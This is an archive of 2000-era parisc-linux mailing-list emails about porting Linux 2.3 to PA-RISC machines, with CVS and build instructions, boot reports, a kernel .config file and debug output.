Subject: Re: [parisc-linux] Linux 2.3
Date: Tue, 11 Jan 2000 03:59:22 -0800 (PST)
Lines: 96
Approved: news@gmane.org
Message-ID: <20000111115922.5298.qmail@web508.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618727 29661 80.91.229.3 (22 Nov 2014 01:12:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:07 +0000 (UTC)
To: Matthew Wilcox <willy@thepuffingroup.com>, parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Tue Jan 11 04:56:22 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA08091
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Jan 2000 04:56:22 -0700
Original-Received: (qmail 5078 invoked by uid 15267); 11 Jan 2000 11:59:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5063 invoked from network); 11 Jan 2000 11:59:23 -0000
Original-Received: from web508.mail.yahoo.com (128.11.68.75)
  by mailserv2.iuinc.com with SMTP; 11 Jan 2000 11:59:23 -0000
Original-Received: (qmail 5299 invoked by uid 60001); 11 Jan 2000 11:59:22 -0000
Original-Received: from [149.234.12.1] by web508.mail.yahoo.com; Tue, 11 Jan 2000 03:59:22 PST
Xref: news.gmane.org gmane.linux.ports.parisc:6693

Could someone please update the procedure of saving
the whole cvs tree linux-2.3 to
ftp://puffin.external.hp.com/pub/parisc/cvs/ as a
tar.gz file for initial cvs checkout ?

Ulrich
--- Matthew Wilcox <willy@thepuffingroup.com> wrote:
> 
> Everyone should now switch development to the linux
> 2.3 tree which is
> in CVS.  How do you do this?
> 
> Set your CVSROOT as described on the pages.
> cvs co linux-2.3
> cd linux-2.3
> (fetch a ramdisk.bin and put it in this directory)
> make oldconfig
> make dep
> make Image
> cp arch/parisc/boot/Image to wherever you tftpboot
> from.
> Watch your machine crash.
> 
> It may get as far as a prompt for you; but even if
> it doesn't, it should
> still get quite some way.  Many configurations will
> not work, and some
> may not compile; I ensured that the defconfig will
> at least link.
> 
>
---------------------------------------------------------------------------
> To unsubscribe: send e-mail to
> parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 
__________________________________________________
Do You Yahoo!?
Talk to your friends online with Yahoo! Messenger.
http://im.yahoo.com

X-From-Line: hppa-linux@thepuffingroup.com  Thu Mar 11 23:19:54 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id XAA14914
	for <pcj@merlin.pcj.primenet.com>; Thu, 11 Mar 1999 23:19:54 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Thu, 11 Mar 1999 23:19:54 PST
Received: from smtp02.primenet.com (daemon@smtp02.primenet.com [206.165.6.132])
	by primenet.com (8.8.8/8.8.5) with ESMTP id XAA06614
	for <pcj@smtp-local.primenet.com>; Thu, 11 Mar 1999 23:54:48 -0700 (MST)
Received: (from daemon@localhost)
	by smtp02.primenet.com (8.8.8/8.8.8) id XAA11110
	for <pcj@primenet.com>; Thu, 11 Mar 1999 23:55:56 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp02.primenet.com, id smtpd011088; Thu Mar 11 23:55:53 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id BAA16217;
	Fri, 12 Mar 1999 01:55:43 -0500
Resent-Date: Fri, 12 Mar 1999 01:55:43 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-ID: <36E8BA21.73C516FC@home.com>
Date: Fri, 12 Mar 1999 00:54:25 -0600
From: dorin <dmandachi@home.com>
Organization: dman's, inc.
X-Mailer: Mozilla 4.5 [en]C-AtHome0405  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: hppa-linux@thepuffingroup.com
References: <199903112235.QAA05851@equator.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Subject: [hppa-linux] Boot #4
Resent-Message-ID: <"7PJZH.0.Iz3.kfBws"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/177
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 4742d63846ad9db88ecb7d103d91b63e
Lines: 8
Xref: merlin.pcj.primenet.com palinux:148

worked fine, 712/100, 128ram, external scsi

dman

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C360 shellprompt
Date: Tue, 11 Jan 2000 15:53:21 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20000111155321.A14792@tux.mkp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618728 29663 80.91.229.3 (22 Nov 2014 01:12:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:08 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: prumpf@mkp.net  Tue Jan 11 07:51:22 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA08971
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Jan 2000 07:51:18 -0700
Original-Received: (qmail 13129 invoked by uid 15267); 11 Jan 2000 14:54:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13122 invoked from network); 11 Jan 2000 14:54:20 -0000
Original-Received: from tux.mkp.net (130.225.60.11)
  by mailserv2.iuinc.com with SMTP; 11 Jan 2000 14:54:20 -0000
Original-Received: from prumpf by tux.mkp.net with local (Exim 3.12 #1)
	id 1282fh-0003r2-00
	for parisc-linux@thepuffingroup.com; Tue, 11 Jan 2000 15:53:21 +0100
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6694

Just so you all know, we get to a shell prompt on the C360 after the
changes which I'm about to commit (blame slow dialup lines).  I would
like to know whether we get to a prompt on other PA2.0 machines as well.

When testing, please keep in mind most "kernel doesn't print anytihng"
problems are problems in the .config rather than kernel bugs.  Start
with the defconfig and modify as little as possible.  Also, the most
likely cause for non-reproducible failures is page colouring problems
so try 3-4 times.

Anyway, on Lasi-based machines such as the C360 you should be able to
do anything you can do on the 712 right now (-ls, fork() but not exec(),
rebooting the machine with SysRq-B), just a lot faster.

	Philipp Rumpf


From - Thu Nov 08 21:11:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <phil@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux 2.3
Date: Tue, 11 Jan 2000 12:46:18 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20000111124618.E6152@linuxcare.com>
References: <20000111115922.5298.qmail@web508.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618728 29668 80.91.229.3 (22 Nov 2014 01:12:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:08 +0000 (UTC)
Cc: Matthew Wilcox <willy@thepuffingroup.com>, parisc-linux@thepuffingroup.com
To: Ulrich Strelow <ulrich_strelow@yahoo.com>
Original-X-From: phil@linuxcare.com  Tue Jan 11 10:42:32 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA10369
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Jan 2000 10:42:31 -0700
Original-Received: (qmail 25167 invoked by uid 15267); 11 Jan 2000 17:45:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25157 invoked from network); 11 Jan 2000 17:45:32 -0000
Original-Received: from unknown (HELO moiraine.off.net) (216.88.157.130)
  by mailserv2.iuinc.com with SMTP; 11 Jan 2000 17:45:32 -0000
Original-Received: (from phil@localhost)
	by moiraine.off.net (8.9.3/8.9.3) id MAA07241;
	Tue, 11 Jan 2000 12:46:18 -0800
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000111115922.5298.qmail@web508.mail.yahoo.com>; from Ulrich Strelow on Tue, Jan 11, 2000 at 03:59:22AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6695

On Jan 11, Ulrich Strelow wrote:
> Could someone please update the procedure of saving
> the whole cvs tree linux-2.3 to
> ftp://puffin.external.hp.com/pub/parisc/cvs/ as a
> tar.gz file for initial cvs checkout ?

Done; I'm forcing the script to run now, it should appear on the FTP
site within a few minutes.  The tree will also appear in Bonsai within
the hour.

-Phil

-- 
Phil Schwan, Senior Linux Consultant, Linuxcare, Inc.
415.354.4878 x271 tel, 415.701.7457 fax
pschwan@linuxcare.com http://www.linuxcare.com/
Linuxcare.  At the centre of Linux.


From - Thu Nov 08 21:11:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux 2.3
Date: Tue, 11 Jan 2000 13:55:33 -0700
Lines: 240
Approved: news@gmane.org
Message-ID: <E1288KD-00081L-00@endor.fc.hp.com>
References: <20000111124618.E6152@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618728 29670 80.91.229.3 (22 Nov 2014 01:12:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:08 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Tue Jan 11 13:53:26 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA11542
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Jan 2000 13:53:26 -0700
Original-Received: (qmail 26522 invoked by uid 15267); 11 Jan 2000 20:55:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26501 invoked from network); 11 Jan 2000 20:55:44 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 11 Jan 2000 20:55:44 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by palrel1.hp.com (Postfix) with ESMTP id A80BF72
	for <parisc-linux@thepuffingroup.com>; Tue, 11 Jan 2000 12:55:33 -0800 (PST)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 2.05 #1 (Debian))
	id 1288KD-00081L-00; Tue, 11 Jan 2000 13:55:33 -0700
In-reply-to: Your message of "Tue, 11 Jan 2000 12:46:18 PST."
             <20000111124618.E6152@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6696


There've been rumors of a shell prompt with 2.3 but I haven't seen it.

Apparently there are still some secrets not widely shared about how
to make this stuff work which I don't know yet, but attached is a
.config file which at least caused me to see some output (and no
shell prompt).  Run this
with a linux command line including "console=tty".  After some
somewhat sane output minicom gets pretty confused :-)  It works
better on a graphics console than on serial.

	-Paul Bame

#
# Automatically generated make config: don't edit
#

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# CPU type
#
CONFIG_PA7100=y
CONFIG_PA7300=y
CONFIG_PA_1x=y
CONFIG_PA_11=y
# CONFIG_SMP is not set
CONFIG_GSC=y
# CONFIG_GSC_DINO is not set
CONFIG_GSC_LASI=y
CONFIG_HIL=y

#
# Loadable module support
#
# CONFIG_MODULES is not set

#
# General setup
#
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
CONFIG_BINFMT_SOM=y
# CONFIG_BINFMT_ELF is not set
# CONFIG_BINFMT_MISC is not set
# CONFIG_BINFMT_JAVA is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_IDE is not set

#
# Please see Documentation/ide.txt for help/info on IDE drives
#
# CONFIG_BLK_DEV_HD_ONLY is not set

#
# Additional Block Devices
#
# CONFIG_BLK_DEV_LOOP is not set
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_MD is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_INITRD=y
# CONFIG_BLK_DEV_XD is not set
CONFIG_PARIDE_PARPORT=m
# CONFIG_BLK_DEV_IDE_MODES is not set
# CONFIG_BLK_DEV_HD is not set

#
# Networking options
#
# CONFIG_PACKET is not set
# CONFIG_NETLINK is not set
# CONFIG_NETFILTER is not set
# CONFIG_FILTER is not set
# CONFIG_UNIX is not set
# CONFIG_INET is not set
# CONFIG_ATM is not set

#
#  
#
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_DECNET is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_BRIDGE is not set
# CONFIG_LLC is not set
# CONFIG_ECONET_AUNUDP is not set
# CONFIG_ECONET_NATIVE is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# SCSI support
#
# CONFIG_SCSI is not set

#
# Network device support
#
CONFIG_NETDEVICES=y
CONFIG_APRICOT=y
CONFIG_DEC_ELCP=y

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_GSC_PS2=y
CONFIG_SERIAL=y
# CONFIG_SERIAL_CONSOLE is not set
CONFIG_SERIAL_EXTENDED=y
# CONFIG_SERIAL_MANY_PORTS is not set
# CONFIG_SERIAL_SHARE_IRQ is not set
# CONFIG_SERIAL_DETECT_IRQ is not set
# CONFIG_SERIAL_MULTIPORT is not set
# CONFIG_HUB6 is not set
# CONFIG_SERIAL_GSC is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256
# CONFIG_PRINTER is not set
# CONFIG_PPDEV is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
# CONFIG_MOUSE is not set
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set

#
# Video For Linux
#
# CONFIG_VIDEO_DEV is not set

#
# Joystick support
#
# CONFIG_JOYSTICK is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_DRM is not set

#
# PCMCIA character device support
#
# CONFIG_PCMCIA_SERIAL_CS is not set

#
# Filesystems
#
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_EFS_FS is not set
CONFIG_ISO9660_FS=y
# CONFIG_JOLIET is not set
# CONFIG_UDF_FS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVPTS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set

#
# Network File Systems
#

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_BSD_DISKLABEL is not set
# CONFIG_SOLARIS_X86_PARTITION is not set
# CONFIG_UNIXWARE_DISKLABEL is not set
# CONFIG_SGI_PARTITION is not set
# CONFIG_SUN_PARTITION is not set
# CONFIG_NLS is not set
# CONFIG_SOUND is not set

#
# Console drivers
#

#
# Frame-buffer support
#
# CONFIG_FB is not set
CONFIG_PDC_CONSOLE=y
CONFIG_IODC_CONSOLE=y

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y


From - Thu Nov 08 21:11:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jerry Huck <huck@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC 2.0 updates
Date: Tue, 11 Jan 2000 17:15:54 -0800 (PST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200001120115.RAA28322@lucy.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618729 29674 80.91.229.3 (22 Nov 2014 01:12:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:09 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: huck@cup.hp.com  Tue Jan 11 18:13:58 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA19038
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Jan 2000 18:13:57 -0700
Original-Received: (qmail 28543 invoked by uid 15267); 12 Jan 2000 01:17:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28529 invoked from network); 12 Jan 2000 01:16:59 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 12 Jan 2000 01:16:59 -0000
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by palrel1.hp.com (Postfix) with ESMTP id 8407A1690
	for <parisc-linux@thepuffingroup.com>; Tue, 11 Jan 2000 17:16:09 -0800 (PST)
Original-Received: (from huck@localhost) by lucy.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id RAA28322; Tue, 11 Jan 2000 17:15:54 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:6697

If you are working on porting to PA-RISC 1.1 or 2.0,
there are some architecture reference documents on
the web that may be useful to you.

The complete text of the latest versions of the 1.1 and 2.0
architecture manuals are online, in html form.  Additionally,
we've annotated the 2.0 book with all errata, and the
small number of architecture changes which have been made
since the book was published.

You can find these documents at this address:

   http://devresource.hp.com/devresource/Docs/Refs/PA1_1/index.html

Happy porting!

Jerry Huck
PA-RISC and IA-64 Architecture


From - Thu Nov 08 21:11:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C360 shellprompt
Date: Wed, 12 Jan 2000 04:33:25 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20000112043325.A18348@tux.mkp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618729 29680 80.91.229.3 (22 Nov 2014 01:12:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:09 +0000 (UTC)
Cc: willy@thepuffingroup.com
To: parisc-linux@thepuffingroup.com
Original-X-From: prumpf@mkp.net  Tue Jan 11 20:31:24 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA20830
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Jan 2000 20:31:23 -0700
Original-Received: (qmail 22637 invoked by uid 15267); 12 Jan 2000 03:34:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22622 invoked from network); 12 Jan 2000 03:34:25 -0000
Original-Received: from tux.mkp.net (130.225.60.11)
  by mailserv2.iuinc.com with SMTP; 12 Jan 2000 03:34:25 -0000
Original-Received: from prumpf by tux.mkp.net with local (Exim 3.12 #1)
	id 128EXF-0004mM-00; Wed, 12 Jan 2000 04:33:25 +0100
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6698

Just so you all know, we get to a shell prompt on the C360 after the
changes which I'm about to commit (blame slow dialup lines).  I would
like to know whether we get to a prompt on other PA2.0 machines as well.

When testing, please keep in mind most "kernel doesn't print anytihng"
problems are problems in the .config rather than kernel bugs.  Start
with the defconfig and modify as little as possible.  Also, the most
likely cause for non-reproducible failures is page colouring problems
so try 3-4 times.

Anyway, on Lasi-based machines such as the C360 you should be able to
do anything you can do on the 712 right now (-ls, fork() but not exec(),
rebooting the machine with SysRq-B), just a lot faster.

	Philipp Rumpf


From - Thu Nov 08 21:11:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Molitor <emolitor@molitor.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bad news, Bad news, Good news, Good news
Date: Wed, 12 Jan 2000 00:48:21 -0600 (CST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10001120045140.1147-100000@localhost.localdomain>
References: <200001120115.RAA28322@lucy.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618729 29685 80.91.229.3 (22 Nov 2014 01:12:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:09 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: emolitor@molitor.org  Tue Jan 11 22:45:54 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA21794
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Jan 2000 22:45:54 -0700
Original-Received: (qmail 10576 invoked by uid 15267); 12 Jan 2000 05:48:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10566 invoked from network); 12 Jan 2000 05:48:54 -0000
Original-Received: from router.overcr.org (HELO localhost.localdomain) (root@209.41.104.129)
  by mailserv2.iuinc.com with SMTP; 12 Jan 2000 05:48:54 -0000
Original-Received: from localhost (emolitor@localhost)
	by localhost.localdomain (8.9.3/8.9.3) with ESMTP id AAA01153
	for <parisc-linux@thepuffingroup.com>; Wed, 12 Jan 2000 00:48:21 -0600
X-Authentication-Warning: localhost.localdomain: emolitor owned process doing -bs
X-Sender: emolitor@localhost.localdomain
In-Reply-To: <200001120115.RAA28322@lucy.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6699


Bad news: http://thepuffingroup.com/parisc/hw.html is throwing up all
sorts of MySQL socket errors

Bad news: My HP/UX 9.xx is no longer functional :(

Good news: I was able to boot into some of the older images

Good news: I should have a copy of HP/UX 10.20 on the 15.

- Eric Molitor
  eric@molitor.org


From - Thu Nov 08 21:11:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dkennedy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bad news, Bad news, Good news, Good news
Date: Wed, 12 Jan 2000 12:39:13 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10001121238340.25257-100000@grasshopper.thepuffingroup.com>
References: <Pine.LNX.4.10.10001120045140.1147-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618729 29690 80.91.229.3 (22 Nov 2014 01:12:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Eric Molitor <emolitor@molitor.org>
Original-X-From: dkennedy@thepuffingroup.com  Wed Jan 12 09:26:54 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA25339
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 Jan 2000 09:26:53 -0700
Original-Received: (qmail 22754 invoked by uid 15267); 12 Jan 2000 16:29:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22743 invoked from network); 12 Jan 2000 16:29:56 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 12 Jan 2000 16:29:56 -0000
Original-Received: from grasshopper.thepuffingroup.com (IDENT:dkennedy@grasshopper.thepuffingroup.com [192.168.1.65])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id LAA21085;
	Wed, 12 Jan 2000 11:29:49 -0500
In-Reply-To: <Pine.LNX.4.10.10001120045140.1147-100000@localhost.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:6700

On Wed, 12 Jan 2000, Eric Molitor wrote:

> 
> Bad news: http://thepuffingroup.com/parisc/hw.html is throwing up all
> sorts of MySQL socket errors

Ick.  My bad.  I have fixed it.

Thanks for the bug report.

-- 
David Kennedy
The Puffin Group


From - Thu Nov 08 21:11:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C360 shellprompt
Date: Wed, 12 Jan 2000 16:41:52 -0500
Lines: 51
Approved: news@gmane.org
Message-ID: <20000112164152.C11300@thepuffingroup.com>
References: <20000111155321.A14792@tux.mkp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618730 29692 80.91.229.3 (22 Nov 2014 01:12:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@mkp.net>
Original-X-From: willy@thepuffingroup.com  Wed Jan 12 15:41:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA04790
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 Jan 2000 15:41:32 -0700
Original-Received: (qmail 11415 invoked by uid 15267); 12 Jan 2000 21:42:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11408 invoked from network); 12 Jan 2000 21:42:04 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 12 Jan 2000 21:42:04 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id QAA23875;
	Wed, 12 Jan 2000 16:41:52 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000111155321.A14792@tux.mkp.net>; from Philipp Rumpf on Tue, Jan 11, 2000 at 03:53:21PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:6701

On Tue, Jan 11, 2000 at 03:53:21PM +0100, Philipp Rumpf wrote:
> Just so you all know, we get to a shell prompt on the C360 after the
> changes which I'm about to commit (blame slow dialup lines).  I would
> like to know whether we get to a prompt on other PA2.0 machines as well.

On the C3000, there is a problem with calling the pdc, as we discussed
offline.  With the calls to the PDC commented out, we get past the
`POSIX Conformance Testing by UNIFIX' line:

after __k_t (1)
554
556
558
after __k_t (0)
766
618
628
630
641
645
651
bad magic 6a930530 (should be c0030a80), wq bug, forcing oops.


